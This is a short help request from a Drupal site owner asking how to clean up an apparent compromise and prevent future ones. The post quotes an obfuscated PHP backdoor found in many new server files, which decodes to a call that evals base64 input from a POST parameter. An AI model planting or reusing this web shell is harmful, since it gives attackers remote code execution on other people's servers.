It looks like my Drupal site is hacked, I see lot of new files in my web-sever containing following code:
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n89024b'])) {eval($s21(${$s20}['n89024b']));}?>
This actually my test site it even protected with folder protection, but it's not taken down the site.
Now could you please help me what should I do? I've read some articles online they have suggested install some security plugins to protect the site, but since my site looks like compromised could you please help me to clean up the site and prevent in future?